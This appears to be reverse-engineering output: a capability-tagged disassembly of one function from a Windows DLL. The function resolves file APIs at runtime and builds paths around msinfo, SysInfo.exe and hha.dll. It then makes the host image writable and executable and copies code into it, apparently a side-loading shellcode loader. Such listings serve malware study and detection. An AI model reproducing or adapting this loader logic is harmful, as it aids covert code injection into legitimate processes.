Function at 0x10002760
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10011540]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x698
mov edi, eax
call fcn.10003d3d
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x100027a8
pop edi
lea eax, [ebx + 8]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
push 0x698
push 0
push ebx
call fcn.100065f0
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.100065f0
add esp, 0x18
push 1
push 0x26
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp eax, 1
je 0x10002851
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x101
lea eax, [ebp - 0x105]
push 0
push eax
call fcn.100065f0
lea eax, [ebp - 0x108]
add esp, 0xc
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002812
mov ecx, dword [str.Program_Filesmsinfo]
mov edx, dword [0x1000f1fc]
mov dword [eax], ecx
mov ecx, dword [0x1000f200]
mov dword [eax + 4], edx
mov edx, dword [0x1000f204]
mov dword [eax + 8], ecx
mov ecx, dword [0x1000f208]
mov dword [eax + 0xc], edx
mov dl, byte [0x1000f20c]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
jmp 0x10002871
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002858
mov ecx, dword [str.msinfo]
mov edx, dword [0x1000f214]
mov dword [eax], ecx
mov dword [eax + 4], edx
lea eax, [ebp - 0x108]
lea edx, [ebx + 0x3c]
mov ecx, eax
sub edx, ecx
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10002880
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002891
mov edx, dword [str._sysinfo]
mov ecx, dword [0x1000f21c]
mov dword [eax], edx
mov dl, byte [0x1000f220]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x108]
lea edx, [ebx + 0x140]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100028c3
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100028d6
mov ecx, dword [0x1000f228]
sub eax, edx
mov edx, dword [str.msinfo.chm]
lea eax, [ebp + eax - 0x108]
mov dword [eax], edx
mov edx, dword [0x1000f22c]
push esi
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea esi, [ebp - 0x108]
lea edx, [ebx + 0x348]
mov ecx, esi
sub edx, ecx
mov cl, byte [esi]
mov byte [edx + esi], cl
inc esi
test cl, cl
jne 0x10002911
mov edx, dword [str.SysInfo.exe.manifest]
mov ecx, dword [0x1000f234]
mov dword [eax], edx
mov edx, dword [0x1000f238]
mov dword [eax + 4], ecx
mov ecx, dword [0x1000f23c]
mov dword [eax + 8], edx
mov edx, dword [0x1000f240]
mov dword [eax + 0xc], ecx
mov cx, word [0x1000f244]
mov dword [eax + 0x10], edx
lea esi, [ebp - 0x108]
mov word [eax + 0x14], cx
lea edx, [ebx + 0x44c]
mov ecx, esi
sub edx, ecx
mov cl, byte [esi]
mov byte [edx + esi], cl
inc esi
test cl, cl
jne 0x10002962
mov edx, dword [str.hha.dll]
mov ecx, dword [0x1000f24c]
mov dword [eax], edx
mov dl, byte [0x1000f250]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea esi, [ebp - 0x108]
lea edx, [ebx + 0x550]
mov ecx, esi
sub edx, ecx
mov cl, byte [esi]
mov byte [edx + esi], cl
inc esi
test cl, cl
jne 0x10002996
mov edx, dword [str.SysInfo.exe]
mov ecx, dword [0x1000f258]
mov dword [eax], edx
mov edx, dword [0x1000f25c]
mov dword [eax + 4], ecx
mov cl, byte [0x1000f260]
mov dword [eax + 8], edx
mov byte [eax + 0xc], cl
lea eax, [ebp - 0x108]
lea edx, [ebx + 0x244]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100029d3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryA
push edi
call esi
push 0x1000f274
push edi
mov dword [ebx], eax
call esi
push 0x1000f288
push edi
mov dword [ebx + 8], eax
call esi
push str.FreeLibrary
push edi
mov dword [ebx + 0xc], eax
call esi
push 0x1000f2a4
push edi
mov dword [ebx + 4], eax
call esi
push 0x1000f2b4
push edi
mov dword [ebx + 0x10], eax
call esi
push str.DeleteFileA
push edi
mov dword [ebx + 0x14], eax
call esi
push str.CopyFileA
push edi
mov dword [ebx + 0x18], eax
call esi
push 0x1000f2d8
push edi
mov dword [ebx + 0x1c], eax
call esi
push 0x1000f2e4
push edi
mov dword [ebx + 0x20], eax
call esi
push 0x1000f2f0
push edi
mov dword [ebx + 0x24], eax
call esi
push str.SetFileAttributesA
push edi
mov dword [ebx + 0x28], eax
call esi
push str.CreateDirectoryA
push edi
mov dword [ebx + 0x2c], eax
call esi
push str.RemoveDirectoryA
push edi
mov dword [ebx + 0x30], eax
call esi
push str.MoveFileExA
push edi
mov dword [ebx + 0x34], eax
call esi
mov edx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0x674], edx
mov dword [ebx + 0x38], eax
mov eax, dword [0x1000f508]
mov dword [ebx + 0x678], eax
mov ecx, dword [0x1000f50c]
mov dword [ebx + 0x67c], ecx
mov edx, dword [0x1000f510]
mov dword [ebx + 0x680], edx
mov eax, dword [0x1000f514]
mov edx, dword [0x100137a4]
push 4
push 0x1000
mov dword [ebx + 0x684], eax
mov ecx, dword [0x1000f518]
push edx
push 0
mov dword [ebx + 0x688], ecx
call esi
mov dword [ebx + 0x654], eax
test eax, eax
jne 0x10002b10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov esi, eax
call fcn.10003dcc
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov edi, dword [0x100137a4]
mov ecx, dword [0x100137a0]
push edi
push ecx
push eax
call fcn.100093f0
mov edx, dword [0x100137b4]
add esp, 0xc
push 4
push 0x1000
push edx
push 0
mov dword [ebx + 0x658], edi
call esi
mov dword [ebx + 0x664], eax
test eax, eax
jne 0x10002b86
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x654]
mov esi, eax
mov eax, dword [ebx + 0x658]
push 0x1000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call fcn.10003dcc
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov edi, dword [0x100137b4]
mov edx, dword [0x100137b0]
push edi
push edx
push eax
call fcn.100093f0
mov eax, dword [0x100137bc]
add esp, 0xc
push 4
push 0x1000
push eax
push 0
mov dword [ebx + 0x668], edi
call esi
mov dword [ebx + 0x66c], eax
test eax, eax
jne 0x10002c12
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x658]
mov edx, dword [ebx + 0x654]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x1000
push ecx
push edx
mov esi, eax
call edi
mov eax, dword [ebx + 0x668]
mov ecx, dword [ebx + 0x664]
push 0x1000
push eax
push ecx
call edi
push ebx
call fcn.10003dcc
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov esi, dword [0x100137bc]
mov edx, dword [0x100137b8]
push esi
push edx
push eax
call fcn.100093f0
add esp, 0xc
mov dword [ebx + 0x670], esi
call fcn.10001020
mov eax, dword [0x100137a8]
mov ecx, dword [0x100137ac]
lea edx, [ebp - 0x10c]
push edx
push 0x40
push 0x8000
push 0x401000
mov dword [ebx + 0x65c], eax
mov dword [ebx + 0x660], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10002cd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x654]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, eax
mov eax, dword [ebx + 0x658]
push 0x1000
push eax
push ecx
call esi
mov edx, dword [ebx + 0x668]
mov eax, dword [ebx + 0x664]
push 0x1000
push edx
push eax
call esi
mov ecx, dword [ebx + 0x670]
mov edx, dword [ebx + 0x66c]
push 0x1000
push ecx
push edx
call esi
push ebx
call fcn.10003dcc
add esp, 4
pop esi
mov eax, edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
push 0x4e
mov ecx, 0x10012410
call fcn.10001100
add esp, 4
mov ecx, 0x9c
mov esi, 0x10012410
mov edi, 0x40105f
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x1a6
mov esi, ebx
mov edi, 0x406000
lea eax, [ebp - 0x10c]
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x10c]
push ecx
push 0x8000
push 0x401000
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
call fcn.10003dcc
mov ecx, dword [ebp - 4]
add esp, 4
pop esi
pop edi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10003c23
mov esp, ebp
pop ebp
ret